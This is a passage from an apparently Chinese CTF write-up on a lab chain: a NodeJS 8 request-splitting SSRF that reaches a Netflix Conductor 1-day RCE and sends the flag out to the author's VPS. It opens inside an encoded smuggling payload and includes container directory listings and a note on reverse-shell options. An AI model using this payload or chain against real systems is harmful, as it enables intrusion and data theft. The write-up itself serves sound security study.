protected]%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private

Step 07 开打拿 flag

首先先试试打到自己 VPS,监听一下端口看看发给 conductor 靶机的请求长什么样。

很好,POST 请求构造得很好。

然后 打给靶机

依次执行 Step 06 中生成的两个 URL,利用 SSRF 打到 Conductor 上。

最后执行写入 /tmp/miaotony 的脚本,从而执行 VPS 上设置的命令,再从路由拿 flag。

flag

flag{81d75716-7389-4ea0-8e48-ff50347a37c2}

好耶!


心态炸了,顺便看了看它的 /bin/sbin 里有啥。

total 780
lrwxrwxrwx    1 root     root            12 May  9  2019 arch -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ash -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 base64 -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 bbconfig -> /bin/busybox
-rwxr-xr-x    1 root     root        796240 Jan 24  2019 busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 cat -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 chgrp -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 chmod -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 chown -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 conspy -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 cp -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 date -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 dd -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 df -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 dmesg -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 dnsdomainname -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 dumpkmap -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 echo -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ed -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 egrep -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 false -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 fatattr -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 fdflush -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 fgrep -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 fsync -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 getopt -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 grep -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 gunzip -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 gzip -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 hostname -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ionice -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 iostat -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ipcalc -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 kbd_mode -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 kill -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 link -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 linux32 -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 linux64 -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ln -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 login -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ls -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 lzop -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 makemime -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 mkdir -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 mknod -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 mktemp -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 more -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 mount -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 mountpoint -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 mpstat -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 mv -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 netstat -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 nice -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 pidof -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ping -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ping6 -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 pipe_progress -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 printenv -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ps -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 pwd -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 reformime -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 rev -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 rm -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 rmdir -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 run-parts -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 sed -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 setpriv -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 setserial -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 sh -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 sleep -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 stat -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 stty -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 su -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 sync -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 tar -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 touch -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 true -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 umount -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 uname -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 usleep -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 watch -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 zcat -> /bin/busybox
total 228
lrwxrwxrwx    1 root     root            12 May  9  2019 acpid -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 adjtimex -> /bin/busybox
-rwxr-xr-x    1 root     root        211304 Jan 10  2019 apk
lrwxrwxrwx    1 root     root            12 May  9  2019 arp -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 blkid -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 blockdev -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 depmod -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 fbsplash -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 fdisk -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 findfs -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 fsck -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 fstrim -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 getty -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 halt -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 hdparm -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 hwclock -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ifconfig -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ifdown -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ifenslave -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ifup -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 init -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 inotifyd -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 insmod -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ip -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ipaddr -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 iplink -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 ipneigh -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 iproute -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 iprule -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 iptunnel -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 klogd -> /bin/busybox
-rwxr-xr-x    1 root     root           393 Mar 19  2019 ldconfig
lrwxrwxrwx    1 root     root            12 May  9  2019 loadkmap -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 logread -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 losetup -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 lsmod -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 mdev -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 mkdosfs -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 mkfs.vfat -> /bin/busybox
-rwxr-xr-x    1 root     root         13968 Jan 23  2019 mkmntdirs
lrwxrwxrwx    1 root     root            12 May  9  2019 mkswap -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 modinfo -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 modprobe -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 nameif -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 nologin -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 poweroff -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 raidautorun -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 reboot -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 rmmod -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 route -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 setconsole -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 slattach -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 swapoff -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 swapon -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 switch_root -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 sysctl -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 syslogd -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 tunctl -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 udhcpc -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 vconfig -> /bin/busybox
lrwxrwxrwx    1 root     root            12 May  9  2019 watchdog -> /bin/busybox

噢,果然没有 bash, nc, python, perl, etc. 这些,确实不怎么方便反弹 shell……

ls /etc/*-release 看看是啥发行版

3.9.4
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.9.4
PRETTY_NAME="Alpine Linux v3.9"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"

Alpine Linux 文明(



小结

啊啊啊啊啊!

终于复现完了!!

这题太顶了!!!

再来回顾以下思路:

  1. 根据 /source 审计源码
  2. 利用 JavaScript 弱类型特性,绕过登录验证获得 admin 权限
  3. 利用 0.0.0.0,通过 /proxy/search 接口绕 WAF,访问 /flag 拿 hint
  4. 在 docker 内网找 Netflix Conductor 服务
  5. 找 Netflix Conductor 漏洞,利用一个 1day RCE 构造 payload
  6. 利用 NodeJS 8 的 HTTP 请求走私 / 请求拆分漏洞,通过 GET 方法走私 POST 请求
  7. 利用 /proxy SSRF 给内网的 Netflix Conductor 执行远程命令,把 flag 打到自己的服务器上。

这题堆的考点有亿点点多,感觉放在 8h 的比赛里时间确实不大够。

虽然给够时间也很难做出来就是了(喵喵自己爬了

不过怎么说,复现这题的过程中确实学到了许多……

好久没做这么顶的题目了(


(溜了溜了喵


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录